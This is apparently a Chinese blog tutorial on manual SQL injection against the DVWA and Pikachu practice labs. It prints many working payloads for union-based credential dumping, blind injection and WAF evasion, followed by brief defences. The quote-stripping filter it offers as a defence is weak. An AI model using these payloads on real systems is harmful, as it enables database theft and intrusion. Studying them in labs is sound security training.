三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

SQL注入实战:手工脱库技术与WAF绕过详解

SQL注入实战:手工脱库技术与WAF绕过详解

1. 项目概述

SQL注入作为Web安全领域的经典漏洞类型,至今仍是渗透测试和CTF比赛中的高频考点。我从业Web安全七年来,处理过上百起SQL注入案例,发现许多新手在手工注入过程中常因基础不牢而陷入困境。本文将基于DVWA、Pikachu等主流靶场环境,拆解手工脱库的全流程技术细节。

手工注入与工具扫描最大的区别在于对数据库结构的理解深度。记得第一次接触泛微OA系统注入时,我花了三天时间才绕过WAF获取到管理员凭证,这段经历让我深刻认识到系统化学习的重要性。下面分享的每个技巧都经过真实环境验证,特别适合已经掌握SQL语法基础但缺乏实战经验的安全爱好者。

2. 注入原理深度解析

2.1 漏洞产生机制

当应用程序将用户输入直接拼接进SQL查询语句时,攻击者通过构造特殊输入改变原语句逻辑。以登录场景为例:

-- 原始语句 SELECT * FROM users WHERE username='$input_user' AND password='$input_pass' -- 注入攻击 admin' --

这段注入会使查询变为:

SELECT * FROM users WHERE username='admin' -- ' AND password=''

注释符(--)使密码验证失效,直接以admin身份登录。这种基于单引号闭合的注入属于最常见的字符型注入。

2.2 注入类型鉴别

通过提交特定测试载荷判断注入类型:

  1. 数字型注入

    id=1 and 1=1 -- 正常显示 id=1 and 1=2 -- 异常显示
  2. 字符型注入

    id=1' and '1'='1 -- 正常 id=1' and '1'='2 -- 异常
  3. 搜索型注入

    search=%' and 1=1 --

关键技巧:在Burp Suite中拦截请求后,逐个参数测试闭合方式,观察响应差异。

3. 手工注入全流程实战

3.1 信息收集阶段

使用DVWA靶场(Low级别)演示:

  1. 判断注入点

    1' and sleep(5) --

    若响应延迟5秒,确认存在注入。

  2. 获取字段数

    1' order by 4 -- -- 正常 1' order by 5 -- -- 报错

    说明当前查询返回4个字段。

  3. 确定回显位

    -1' union select 1,2,3,4 --

    页面显示数字2和3的位置可用于输出查询结果。

3.2 数据库结构探测

  1. 获取数据库版本

    -1' union select 1,version(),3,4 --
  2. 列出所有数据库

    -1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata --
  3. 获取当前数据库表

    -1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --

3.3 数据提取技巧

针对users表的脱库操作:

-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' -- -1' union select 1,concat(user,'|',password),3,4 from users --

实战经验:遇到group_concat被限制时,可用limit分页:

-1' union select 1,concat(user,':',password),3,4 from users limit 0,1 --

4. 高级绕过技术

4.1 WAF绕过方案

  1. 大小写混淆

    1' aNd 1=1 --
  2. 注释符分割

    1' /*!and*/ 1=1 --
  3. 十六进制编码

    -1' union select 1,0x61646d696e,3,4 --

4.2 盲注技术应用

当页面无回显时采用时间盲注:

1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --

布尔盲注判断技巧:

1' and (select count(*) from users where username='admin')=1 --

5. 防御方案与检测方法

5.1 安全编码实践

  1. 参数化查询(Java示例):

    String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, inputUser);
  2. 输入过滤

    $input = preg_replace('/[\'"]/', '', $_GET['id']);

5.2 漏洞检测流程

  1. 自动化扫描

    • SQLmap基础检测:
      sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5
  2. 手工验证

    • 使用Burp Suite的Repeater模块逐步测试
    • 对每个输入点测试边界情况

6. 典型问题排查指南

问题现象可能原因解决方案
注入语句执行但无回显可能为盲注场景改用时间盲注或布尔盲注技术
单引号被转义魔术引号开启尝试数字型注入或双重编码
返回结果被截断group_concat长度限制使用substring函数分段获取
请求被WAF拦截触发安全规则尝试注释符混淆/大小写变异

7. 靶场实战建议

  1. DVWA:调整安全等级逐步练习

    • Low:基础注入练习
    • Medium:学习绕过基础过滤
    • High:掌握复杂绕过技术
  2. Pikachu靶场:包含各种变异注入场景

    • 宽字节注入
    • Base64编码注入
    • Cookie注入
  3. CTFshow题目

    # 绕过过滤空格 1'/**/union/**/select/**/1,2,3#

最后分享一个真实案例中的技巧:遇到过滤了information_schema的情况,可以通过mysql.innodb_table_stats等替代表获取表结构信息。手工注入的魅力在于需要根据目标环境不断调整策略,这比单纯使用工具更能提升技术理解深度。

← 返回列表